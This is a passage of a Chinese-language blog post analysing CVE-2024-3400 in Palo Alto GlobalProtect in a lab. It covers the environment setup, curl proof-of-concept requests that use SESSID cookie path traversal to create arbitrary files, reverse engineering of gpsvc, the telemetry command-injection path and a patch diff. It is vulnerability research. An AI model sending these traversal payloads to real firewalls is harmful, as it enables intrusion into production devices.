href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-9d467bfc09795325ce71a7074e66472d-6a6717.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-9d467bfc09795325ce71a7074e66472d-6a6717.png" alt="image.png"></a></p><ul><li><code>DEVICE-&gt;证书管理-&gt;证书</code>， 生成 <code>RootCert</code> 再基于 <code>RootCert</code> 派发一个 <code>gp_cer</code></li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-406a4ea26bd78e5a04934143aef13543-83aff2.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-406a4ea26bd78e5a04934143aef13543-83aff2.png" alt="image.png"></a></p><ul><li><code>DEVICE-&gt;证书管理-&gt; SSL/TLS 服务配置文件</code> 依据 <code>gp_cert</code> 配置 <code>SSL_PROFILE</code> </li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-4b4209440fda8a3a053972d25631f4ca-db11cb.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-4b4209440fda8a3a053972d25631f4ca-db11cb.png" alt="image.png"></a></p><ul><li>然后到 <code>NETWORK-&gt;GlobalProtect-&gt;门户</code> 配置门户， 中间可能少了一点东西， 这里贴一下我的配置项， 缺什么补什么就好了</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-54cfca4fb5aac5420ad35226d622dcf1-d08e7d.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-54cfca4fb5aac5420ad35226d622dcf1-d08e7d.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-0e68201624433e2f2e83b0aa8e0ffffd-d4597b.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-0e68201624433e2f2e83b0aa8e0ffffd-d4597b.png" alt="image.png"></a></p><ul><li><code>NETWORK-&gt;GlobalProtect-&gt;网关</code>  网关配置是也是差不多</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-dfcc5748423c7c853f501df686b00769-05ee7e.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-dfcc5748423c7c853f501df686b00769-05ee7e.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-de55f8f07fd6536e6d1b53982fcba08a-a24597.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-de55f8f07fd6536e6d1b53982fcba08a-a24597.png" alt="image.png"></a></p><p>然后现在在另外一台虚拟机里，也设置上同样的 192.168.100.1/24 网段的网卡， 就可以访问到门户了</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-cfa3139a5d0565a5f58eaa6d71149ca9-bd7a7f.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-cfa3139a5d0565a5f58eaa6d71149ca9-bd7a7f.png" alt="image.png"></a></p><p>由于没有所谓的设备证书， 此次漏洞能命令执行提到的 <code>telemetry</code> 功能是不可用状态</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-68f8c6c8c84298c60edce20ab1b605c1-e506e3.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-68f8c6c8c84298c60edce20ab1b605c1-e506e3.png" alt="image.png"></a></p><p>访问 <code>https://192.168.1.101/ssl-vpn/hipreport.esp</code> 就是 <code>https://192.168.1.101/ssl-vpn/hipreport.esp</code> 的返回</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-96976b0fa3631f751c7fd681e619a009-78682c.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-96976b0fa3631f751c7fd681e619a009-78682c.png" alt="image.png"></a></p><p>shell 和文件系统的获取直接用了当时 QWB时候 Larryxi<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="Larryxi blog https://aslr.io/about/">[3]</span></a></sup> 大哥提供的方法</p><ul><li>patch vmem获取本地shell<ul><li><code>sed -i  &quot;s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g&quot;  PA1029-9aad9851.vmem</code></li><li><code>sed -i  &quot;s/admin:x:1001:1004/admin:x:0000:0000/g&quot;  PA1029-9aad9851.vmem</code></li></ul></li><li>查看固件内容方式， 挂载 vmdk 就行<br>j<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo modprobe nbd</span><br><span class="line">sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk</span><br><span class="line">sudo mount /dev/nbd1p2 /mnt/panos/</span><br></pre></td></tr></table></figure></li></ul><p>这样就可以 <code>admin</code> 用户登陆之后是一个 root 权限的 shell ， 之后调试之类的也可使用 ssh 登陆</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>在<sup id="fnref:1"><a href="#fn:1" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400">[1]</span></a></sup> 文章就已经提到了漏洞的触发路径， 首先是 <code>gpsvc</code> 文件在处理 Cookie 字段的时候会有一个任意文件写， 其次是 <code>telemetry</code> 功能的定时任务 <code>device_telemetry_send</code> 会用 <code>/usr/local/bin/dt_send</code> 发送数据的时候会拼接文件名到命令中，造成命令注入。</p><p>我们依次简单分析下</p><h3 id="gpsvc-任意文件写分析"><a href="#gpsvc-任意文件写分析" class="headerlink" title="gpsvc 任意文件写分析"></a>gpsvc 任意文件写分析</h3><p>通过 <code>netstat</code> 命令， 我们可以看到 <code>gpsvc</code> 监听在 20277 端口上，</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-f0c5dbbf086627739b812d69f7a885a7-95131b.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-f0c5dbbf086627739b812d69f7a885a7-95131b.png" alt="image.png"></a></p><p>在查看 <code>/etc/nginx/sslvpn/localtion.conf</code> 的配置文件中， 我们看到如下配置</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-26bc6521d591f5983b7ef76c5f5d74fe-e2c225.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-26bc6521d591f5983b7ef76c5f5d74fe-e2c225.png" alt="image.png"></a></p><p>可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口， 就是 gpsvc 程序里处理。</p><h4 id="逆向分析"><a href="#逆向分析" class="headerlink" title="逆向分析"></a>逆向分析</h4><p>我们把程序拿出来分析， 坏消息是这个程序是 golang 编写的， 好像是有符号， 而且我们已经知道了漏洞大致位置， 可以通过直接找到 <code>main__ptr_SessDiskStore_New</code> 函数</p><p>我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作，</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-2db013dad24a650e91668b19f3057206-e94251.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-2db013dad24a650e91668b19f3057206-e94251.png" alt="image.png"></a></p><p>比如我们在 146 行下一个断点， 然后使用如下 PoC 触发：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">curl -i -s -k -X $<span class="string">&#x27;POST&#x27;</span> \</span><br><span class="line">    -H $<span class="string">&#x27;Host: 127.0.0.1&#x27;</span> -H $<span class="string">&#x27;Content-Type: application/x-www-form-urlencoded&#x27;</span> -H $<span class="string">&#x27;Content-Length: 158&#x27;</span> \</span><br><span class="line">    -b $<span class="string">&#x27;SESSID=/../../../tmp/hacked&#x27;</span> \</span><br><span class="line">    --data-binary $<span class="string">&#x27;user=watchTowr&amp;portal=watchTowr&amp;authcookie=e51140e4-4ee3-4ced-9373-96160d68&amp;domain=watchTowr&amp;computer=watchTowr&amp;client-ip=watchTowr&amp;client-ipv6=watchTowr&amp;md5-sum=watchTowr&amp;gwHipReportCheck=watchTowr&#x27;</span> \</span><br><span class="line">    $<span class="string">&#x27;https://192.168.1.101/ssl-vpn/hipreport.esp&#x27;</span></span><br></pre></td></tr></table></figure><p>到达<code>main__ptr_SessDiskStore_New</code> 函数的backtrace如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">(gdb) bt</span><br><span class="line">#0  main.(*SessDiskStore).New (s&#x3D;0xc000821800, r&#x3D;0xc00260f400, name&#x3D;..., ~r2&#x3D;0x0, ~r3&#x3D;...)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_session.go:103</span><br><span class="line">#1  0x0000000000a472c3 in github.com&#x2F;gorilla&#x2F;sessions.(*Registry).Get (s&#x3D;0xc00c1a6a60, store&#x3D;..., name&#x3D;..., session&#x3D;0x0, err&#x3D;...)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;3p&#x2F;pkg&#x2F;mod&#x2F;github.com&#x2F;gorilla&#x2F;sessions@v1.2.1&#x2F;sessions.go:139</span><br><span class="line">#2  0x0000000000aee55d in main.(*SessDiskStore).Get (s&#x3D;0xc000821800, r&#x3D;0xc00260f400, name&#x3D;..., ~r2&#x3D;0x0, ~r3&#x3D;...)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_session.go:87</span><br><span class="line">#3  0x0000000000af606a in main.(*GpTask).initHttp (t&#x3D;0xc00725eb00, r&#x3D;0xc00260f400, ~r1&#x3D;...)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_task.go:442</span><br><span class="line">#4  0x0000000000afd0a9 in main.(*GpTask).RunHttp (t&#x3D;0xc00725eb00, w&#x3D;..., r&#x3D;0xc00260f400, ~r2&#x3D;false)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_task.go:802</span><br><span class="line">#5  0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm&#x3D;0xc000870000, w&#x3D;..., r&#x3D;0xc00260f300)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_taskmgmt.go:450</span><br><span class="line">#6  0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w&#x3D;..., r&#x3D;0xc00260f300)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_taskmgmt.go:406</span><br><span class="line">#7  0x0000000000867f74 in net&#x2F;http.HandlerFunc.ServeHTTP (f&#x3D;&#123;void (net&#x2F;http.ResponseWriter, net&#x2F;http.Request *)&#125; 0xc00c2077a8, w&#x3D;..., r&#x3D;0xc00260f300)</span><br><span class="line">    at &#x2F;usr&#x2F;local&#x2F;go&#x2F;src&#x2F;net&#x2F;http&#x2F;server.go:2036</span><br><span class="line">#8  0x0000000000a78e56 in github.com&#x2F;gorilla&#x2F;mux.(*Router).ServeHTTP (r&#x3D;0xc0006c20c0, w&#x3D;..., req&#x3D;0xc00260f300)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;bamboo-agent-home-3&#x2F;xml-data&#x2F;build-dir&#x2F;LA-GPSVC131-JOB1&#x2F;build&#x2F;src&#x2F;3p&#x2F;pkg&#x2F;mod&#x2F;github.com&#x2F;gorilla&#x2F;mux@v1.7.4&#x2F;mux.go:210</span><br><span class="line">#9  0x000000000086c7df in net&#x2F;http.serverHandler.ServeHTTP (sh&#x3D;..., rw&#x3D;..., req&#x3D;0xc00260f100) at &#x2F;usr&#x2F;local&#x2F;go&#x2F;src&#x2F;net&#x2F;http&#x2F;server.go:2831</span><br><span class="line">#10 0x0000000000866f1a in net&#x2F;http.(*conn).serve (c&#x3D;0xc0081981e0, ctx&#x3D;...) at &#x2F;usr&#x2F;local&#x2F;go&#x2F;src&#x2F;net&#x2F;http&#x2F;server.go:1919</span><br><span class="line">#11 0x0000000000467411 in runtime.goexit () at &#x2F;usr&#x2F;local&#x2F;go&#x2F;src&#x2F;runtime&#x2F;asm_amd64.s:1357</span><br><span class="line">#12 0x000000c0081981e0 in ?? ()</span><br><span class="line">#13 0x0000000000d79060 in ?? ()</span><br><span class="line">#14 0x000000c00c150680 in ?? ()</span><br><span class="line">#15 0x0000000000000000 in ?? ()</span><br><span class="line">(gdb)</span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-c3130bc4796598411944674097931770-14cb43.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-c3130bc4796598411944674097931770-14cb43.png" alt="image.png"></a></p><p>此时可以看到 <code>$rdi-&gt;array</code> 存储了我们的 payload 的相关字符： <code>session_/../../../tmp/hacked</code>， 我们单步走一步走到调用<code>main_loadSessFile</code> 函数的位置</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-59f7c68a52093fe1078a3c3ce66597b3-700c7a.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-59f7c68a52093fe1078a3c3ce66597b3-700c7a.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-89773aaf9d064cd1db4a91f64b02edb8-ea0f0e.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-89773aaf9d064cd1db4a91f64b02edb8-ea0f0e.png" alt="image.png"></a></p><p>(分析到这，我突然反应过来他是golang 是旧版本的 api 调用 ， 搜了下字符串可以知道他的 golang 版本是 1.13.15)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.rodata:0000000000C956F6 aGo11315        db &#39;go1.13.15&#39;  </span><br></pre></td></tr></table></figure><p>可以看到 <code>/../</code> 相关字符被<code>path_filepath_Join</code>函数处理后已经被去除了，问题来了， 是在哪创建的的文件呢？</p><p>我们找到 <code>syscall_Open</code> 函数 ， 对其进行引用查找， 找到一条这样的调用链</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">main_loadSessFile-&gt;main_fileLock-&gt;syscall_Open</span><br></pre></td></tr></table></figure><p>而此时 <code>main_loadSessFile</code> 的参数就是我们想要创建的文件</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-235249db9a3c7fa42c43db517cce1ff8-4555d5.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-235249db9a3c7fa42c43db517cce1ff8-4555d5.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-068b2775458e708e5e942d9156ca3921-a625c6.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-068b2775458e708e5e942d9156ca3921-a625c6.png" alt="image.png"></a></p><p>open 的定义为 <code>int open(const char *pathname, int flags, mode_t mode);</code>  第二个参数是个 flags， 当值为 0x40 的时候为 <code>O_CREAT</code> </p><p><code>O_CREAT</code> 定义位于 <code>fcntl.h</code> 文件中， 可以在 linux  的内核代码<sup id="fnref:4"><a href="#fn:4" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24">[4]</span></a></sup>中看到, </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> O_ACCMODE00000003</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> O_RDONLY00000000</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> O_WRONLY00000001</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> O_RDWR00000002</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> O_CREAT</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> O_CREAT00000100<span class="comment">/* not fcntl */</span></span></span><br></pre></td></tr></table></figure><p><code>O_CREAT</code> 的值通常是 0100，这是一个八进制表示的值， 等同于十进制的 64 ，十六进制的 0x40， 通过查找相关资料<sup id="fnref:5"><a href="#fn:5" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview">[5]</span></a></sup></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-3ffee6673ab5634330e66291a37c3cd3-b0a3d1.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-3ffee6673ab5634330e66291a37c3cd3-b0a3d1.png" alt="image.png"></a><br>发现只有文件不存在的时候才会创建文件。</p><p>例如使用如下 payload 尝试创建 <code>/etc/passwd</code> 的时候</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">curl -i -s -k -X $<span class="string">&#x27;POST&#x27;</span> \</span><br><span class="line">    -H $<span class="string">&#x27;Host: 127.0.0.1&#x27;</span> -H $<span class="string">&#x27;Content-Type: application/x-www-form-urlencoded&#x27;</span> -H $<span class="string">&#x27;Content-Length: 158&#x27;</span> \</span><br><span class="line">    -b $<span class="string">&#x27;SESSID=/../../../etc/passwd&#x27;</span> \</span><br><span class="line">    --data-binary $<span class="string">&#x27;user=watchTowr&amp;portal=watchTowr&amp;authcookie=e51140e4-4ee3-4ced-9373-96160d68&amp;domain=watchTowr&amp;computer=watchTowr&amp;client-ip=watchTowr&amp;client-ipv6=watchTowr&amp;md5-sum=watchTowr&amp;gwHipReportCheck=watchTowr&#x27;</span> \</span><br><span class="line">    $<span class="string">&#x27;https://192.168.1.101/ssl-vpn/hipreport.esp&#x27;</span></span><br></pre></td></tr></table></figure><p>可以看到 open 是返回了 0 </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-810d6dcabac9dcf51657ac71a5d47f4d-80955e.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-810d6dcabac9dcf51657ac71a5d47f4d-80955e.png" alt="image.png"></a></p><p>这个漏洞会创建一个任意路径、文件名可控的文件（不能覆盖文件）。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢？ 这就得提到 <code>telemetry</code> 功能了</p><h3 id="telemetry-命令文件分析"><a href="#telemetry-命令文件分析" class="headerlink" title="telemetry 命令文件分析"></a>telemetry 命令文件分析</h3><p>根据官网 <sup id="fnref:5"><a href="#fn:5" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview">[5]</span></a></sup> 的介绍， 该功能是一个定时发送数据到远端的一个功能,  在<a href="#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA">环境搭建</a>提到的该功能开启需要一个设备证书， 我目前的复现环境是不支持的。 只能分析分析功能了</p><p>在 <code>/etc/cron.d</code> 可以看到很多和 <code>telemetry</code> 相关的定时任务</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-4bb202089b4a73d0064f49ebaec4c644-72d69e.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-4bb202089b4a73d0064f49ebaec4c644-72d69e.png" alt="image.png"></a></p><p>其中 <code>/usr/local/bin/dt_send</code> 看起来是用来发送数据的</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-beb3256ebdbcd91ec7e907e49421a64d-40a708.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-beb3256ebdbcd91ec7e907e49421a64d-40a708.png" alt="image.png"></a></p><p>该程序由 python 编写， 可以看到简单判断了下功能是不是开启， 然后调用 <code>check_and_send</code> 函数</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-baf3b2ecaee060425c72fc2615b59415-ed0e89.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-baf3b2ecaee060425c72fc2615b59415-ed0e89.png" alt="image.png"></a></p><p><code>check_and_send</code> 函数会接着调用 <code>send_file_dirs_all</code> </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-61fcdcf46d6b2396b8da726384d11552-ddf408.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-61fcdcf46d6b2396b8da726384d11552-ddf408.png" alt="image.png"></a></p><p>可以看到 <code>send_file_dirs_all</code> 函数会遍历 <code>DEFAULT_DEVTELEM_OUTPUT_DIR</code> 下的文件， 然后再调用 <code>send_file_dir</code> </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-c01c5fe824a5a8132224e7c94455616a-3c0a70.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-c01c5fe824a5a8132224e7c94455616a-3c0a70.png" alt="image.png"></a></p><p>而在 <code>send_file_dir</code> 函数中， 用 <code>send_file</code> 函数<br><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-8994297e731d707b99b8a4225c122839-d98bd2.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-8994297e731d707b99b8a4225c122839-d98bd2.png" alt="image.png"></a></p><p>在 <code>send_file</code> 函数中， 会将文件名拼接到 <code>send_file_cmd</code> 遍历中</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-24cf5f7a5735b831a73de98d2846873d-1614c6.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-24cf5f7a5735b831a73de98d2846873d-1614c6.png" alt="image.png"></a></p><p>接着调用 <code>cmd_status = techsupport.dosys(send_file_cmd, None)</code>  ， 运行 <code>dt_curl</code> 命令， 该命令也是一个 python 程序，</p><p><code>dt_curl</code> 里会调用 <code>send_file</code> 函数</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-08b3e2becbc3edfd994398a2edd38add-7e0dd9.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-08b3e2becbc3edfd994398a2edd38add-7e0dd9.png" alt="image.png"></a></p><p>在该函数中就拼接命令， 使用 <code>pansys(curl_cmd, shell=True, timeout=250)</code> 函数调用， 注意这里的 <code>shell=True</code></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-f58b2a103617bdae4fef7db22a735866-c28f61.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-f58b2a103617bdae4fef7db22a735866-c28f61.png" alt="image.png"></a></p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-2a92589d19818391108f9d06d1b68567-103079.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-2a92589d19818391108f9d06d1b68567-103079.png" alt="image.png"></a></p><p>这里最后调用到 <code>/opt/plugins/2.0/python-lib/pan/pansys/pansys.py</code> 文件中的 <code>dosys</code> </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-0c59c65d1d72c9a776c8a0e654f16be5-204ca2.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-0c59c65d1d72c9a776c8a0e654f16be5-204ca2.png" alt="image.png"></a></p><p>可以看到这里的<code>shell</code>参数默认是 False 的 但是由于<code>send_file</code> 调用的是传递进来设置了成了 True, 因此可以命令注入 。</p><h2 id="Diff-Patch"><a href="#Diff-Patch" class="headerlink" title="Diff Patch"></a>Diff Patch</h2><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-87ab1a33c8d1965d00965b2e9812a345-b382a9.png" title="image-20240420215633491" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-87ab1a33c8d1965d00965b2e9812a345-b382a9.png" alt="image-20240420215633491"></a></p><p>新增了个 seesion 检查函数？<br><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-9e5d5bfab12dae37621d242a6140f984-863fea.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-9e5d5bfab12dae37621d242a6140f984-863fea.png" alt="image.png"></a></p><p>从日志可以可以看到似乎加了检查 <code>&#123;&quot;level&quot;:&quot;error&quot;,&quot;task&quot;:&quot;3-22&quot;,&quot;time&quot;:&quot;2024-04-20T06:28:12.18264473-07:00&quot;,&quot;message&quot;:&quot;ArgFilterCheck: authcookie input is invalid&quot;&#125;</code></p><p>刚好也是这个补丁加的样子， 从编译路径来看</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">(gdb) bt</span><br><span class="line">#0  main.(*GpTask).ArgFilterCheck (t&#x3D;0xc000093080, filterName&#x3D;..., argName&#x3D;..., value&#x3D;..., ~r3&#x3D;9)</span><br><span class="line">    at &#x2F;opt&#x2F;build&#x2F;workspace&#x2F;NOMAD&#x2F;89c94875&#x2F;workspace&#x2F;ations_gpsvc_hotfix_10.2.9-hf-ga&#x2F;src&#x2F;apps&#x2F;pan_gpsvc_task.go:615</span><br><span class="line">#1  0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t&#x3D;0xc000093080, value&#x3D;..., ~r1&#x3D;0)</span><br></pre></td></tr></table></figure><p>修复了 <code>shell=True</code> 的问题<br><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-7f796cd138c057404a155dab809835d8-16411b.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-7f796cd138c057404a155dab809835d8-16411b.png" alt="image.png"></a></p><h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>一个空文件创建到命令执行， 想必这个攻击者估计找这个功能了找了不少时间吧，此外该漏洞的利用目前需要开启<code>telemetry</code> 功能， 那么是否还有可以利用这个空文件创建的地方呢？ 这么大的一个系统也许还有吧， 有时间可以在仔细看看</p><p><a 